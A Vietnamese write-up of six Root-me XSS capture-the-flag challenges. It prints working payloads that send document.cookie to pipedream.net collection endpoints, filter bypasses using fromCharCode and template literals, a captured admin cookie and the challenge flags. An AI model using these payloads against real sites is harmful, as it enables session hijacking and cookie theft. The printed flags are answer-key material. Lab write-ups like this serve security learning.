**Write-up Root-me Challenge - XSS**
# XSS Reflected
http://challenge01.root-me.org/web-client/ch26/
Có thể thấy tất cả các liên kết đều kết thúc bằng "?p=..."

Inspect, thấy có 1 liên kết được comment lại
```
<!--li><a href="?p=security">Security</a></li-->
```

Nhập payload http://challenge01.root-me.org/web-client/ch26/?p=security , ta nhận được kết quả:

Thử nhập một giá trị khác vào thẻ `<a>`

=> Thực hiện XSS vào thẻ `<a>`
http://challenge01.root-me.org/web-client/ch26/?p=%27onmouseover=%27alert(%22hi%22) , ta nhận được kết quả:

Thực hiện gửi HTTP Request và qua RequestBin chờ cookie. Endpoint nhận được là https://eova9bvvwpn2b2z.m.pipedream.net
Nhập payload http://challenge01.root-me.org/web-client/ch26/?p=%27onmouseover=%27document.location=%22https://eova9bvvwpn2b2z.m.pipedream.net?%22.concat(document.cookie)
Kết quả nhận được chưa có cookie của admin.

Thực hiện lại 1 lần nữa và thêm bước REPOST TO THE ADMINISTRATION, nhận được flag:

Flag: **r3fL3ct3D_XsS_fTw**
# XSS-Stored 1
http://challenge01.root-me.org/web-client/ch18/
Thực hiện XSS vào Title và Message bằng payload
`<script>alert("hi")</script>`

Có thể thấy input của Message có thể thực hiện XSS
Thực hiện gửi HTTP Request và qua RequestBin chờ cookie. Endpoint nhận được là https://eow4rjproh5n5yz.m.pipedream.net
Nhập payload
`<script>document.write("<img src='https://eow4rjproh5n5yz.m.pipedream.net/"+document.cookie+"'></img>");</script>`
Kết quả nhận được:

Flag: **NkI9qe4cdLIO2P7MIsWS8ofD6**
# XSS-Stored 2
http://challenge01.root-me.org/web-client/ch19/
Thực hiện XSS vào input Title và Message bằng payload
`"><script>alert("hi")</script>`
Thực hiện XSS vào input Title thì không có gì xảy ra, vào input Message thì kết quả nhận được: xuất hiện (status : invite)

Kiểm tra cookies, thấy có một cookie tên "status", value "invite".

Thực hiện XSS vào cookie status. Thay đổi giá trị cookie thành
`"><script>alert("hi")</script>`

Thực hiện gửi HTTP Request và qua RequestBin chờ cookie. Endpoint nhận được là https://eow4rjproh5n5yz.m.pipedream.net
Để tìm được cookie của admin, thay đổi giá trị của cookie status thành:
`"><script>document.write(%22<img src=https://eow4rjproh5n5yz.m.pipedream.net? %22.concat(document.cookie.replace(%22 %22,%22&%22)).concat(%22/>%22))</script>`

ADMIN_COOKIE: SY2USDIH78TF3DFU78546TE7F
Thay đổi Cookie: ADMIN_COOKIE=SY2USDIH78TF3DFU78546TE7F
Kết quả nhận được:

Flag: **E5HKEGyCXQVsYaehaqeJs0AfV**
# XSS-DOM Based Introduction
http://challenge01.root-me.org/web-client/ch32/
Thực hiện XSS vào input với payload `';{alert(1);}//`

Đồng thời, liên kết cũng thay đổi thành:
http://challenge01.root-me.org/web-client/ch32/?number=%27%3B%7Balert%281%29%3B%7D%2F%2F
Thực hiện gửi HTTP Request và qua RequestBin chờ cookie. Endpoint nhận được là https://eopovqrq356kwk9.m.pipedream.net
Thực hiện XSS vào liên kết:
http://challenge01.root-me.org/web-client/ch32/?number=%27;document.location=%27https://eopovqrq356kwk9.m.pipedream.net/?cookies=%27%2bdocument.cookie//

Dán link vào input trong tab Contact.
Kết quả nhận được:

Flag: **rootme{XSS_D0M_BaSed_InTr0}**
# XSS DOM Based-AngularJS
http://challenge01.root-me.org/web-client/ch35/
Thử nhập 1 giá trị vào input. Có thể thấy, name bị encode. Đồng thời liên kết cũng có đuôi name=giá trị vừa nhập.

Thực hiện XSS vào input. Tra thử cheatsheet XSS Angular, ta tìm được payload `{{constructor.constructor('alert(1)')()}}` nhưng thử nhập vào input thì kết quả không thấy điều gì đặc biệt. Có thể thấy kí tự ' bị lọc bỏ. Thử thay kí tự ' thành " thì được kết quả:

Thực hiện gửi HTTP Request và qua RequestBin.
Dùng HTML để bypass kí tự ' thành '
Nhập payload `{{constructor.constructor('document.location=" https://eopovqrq356kwk9.m.pipedream.net?".concat(document.cookie)')()}}`

Chuyển sang tab Contact để dán link vào input
http://challenge01.root-me.org/web-client/ch35/?name={{constructor.constructor('document.location=%22%20https://eopovqrq356kwk9.m.pipedream.net?%22.concat(document.cookie)')()}}
nhưng RequestBin không phản hồi.
=> Không thể bypass bằng HTML.
Tìm trong payloadsallthethings có thể thấy 1 payload `{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}`
Nhập payload vào input thì nhận được kết quả

Phương thức valueOf trả về biểu diễn chuỗi của đối số được truyền.
Phương thức String.fromCharCode trả về một chuỗi được tạo từ chuỗi đơn vị mã UTF-16 đã chỉ định.
Phương thức constructor được sử dụng để có thể khởi tạo rồi thực hiện trả về đối tượng của lớp mà nó đã được nhận định.
Payload: http://challenge01.root-me.org/web-client/ch35/?name= {{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x (119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 96, 104, 116, 116, 112, 115, 58, 47, 47, 101, 111, 112, 111, 118, 113, 114, 113, 51, 53, 54, 107, 119, 107, 57, 46, 109, 46, 112, 105, 112, 101, 100, 114, 101, 97, 109, 46, 110, 101, 116, 63, 36, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 125, 96))()}}

Flag: rootme{@NGu1@R_J$_1$_C001}
# XSS DOM Based-Eval
http://challenge01.root-me.org/web-client/ch34/
Nhập 1 phép tính vào input, có thể thấy kết quả được thực hiện trong hàm eval()

Nhập +1 vào input, kết quả nhận được

Phép tính phải có định dạng phù hợp với regex: /^\d+[\+|\-|\*|\/]\d+/
Nghĩa là kí tự đầu tiên là số nguyên, kí tự tiếp theo là các toán tử +, -, *, /, kí tự tiếp theo là số nguyên.
Thử XSS vào input, payload `1+1+alert(1)`

Kí tự () đã bị cấm. Nên thay kí tự () thành ``

XSS thành công.
Thực hiện gửi HTTP Request và qua RequestBin.
Thử với payload
1+1,`${document.location=" https://eopovqrq356kwk9.m.pipedream.net"}`
Kết quả nhận được

Gửi payload
http://challenge01.root-me.org/web-client/ch34/index.php?calculation=1%2B1`${document.location=%22 https://eopovqrq356kwk9.m.pipedream.net?%22%2Bdocument.cookie}`
đến tab Contact. Kết quả nhận được

Flag: rootme{Eval_Is_DangER0us}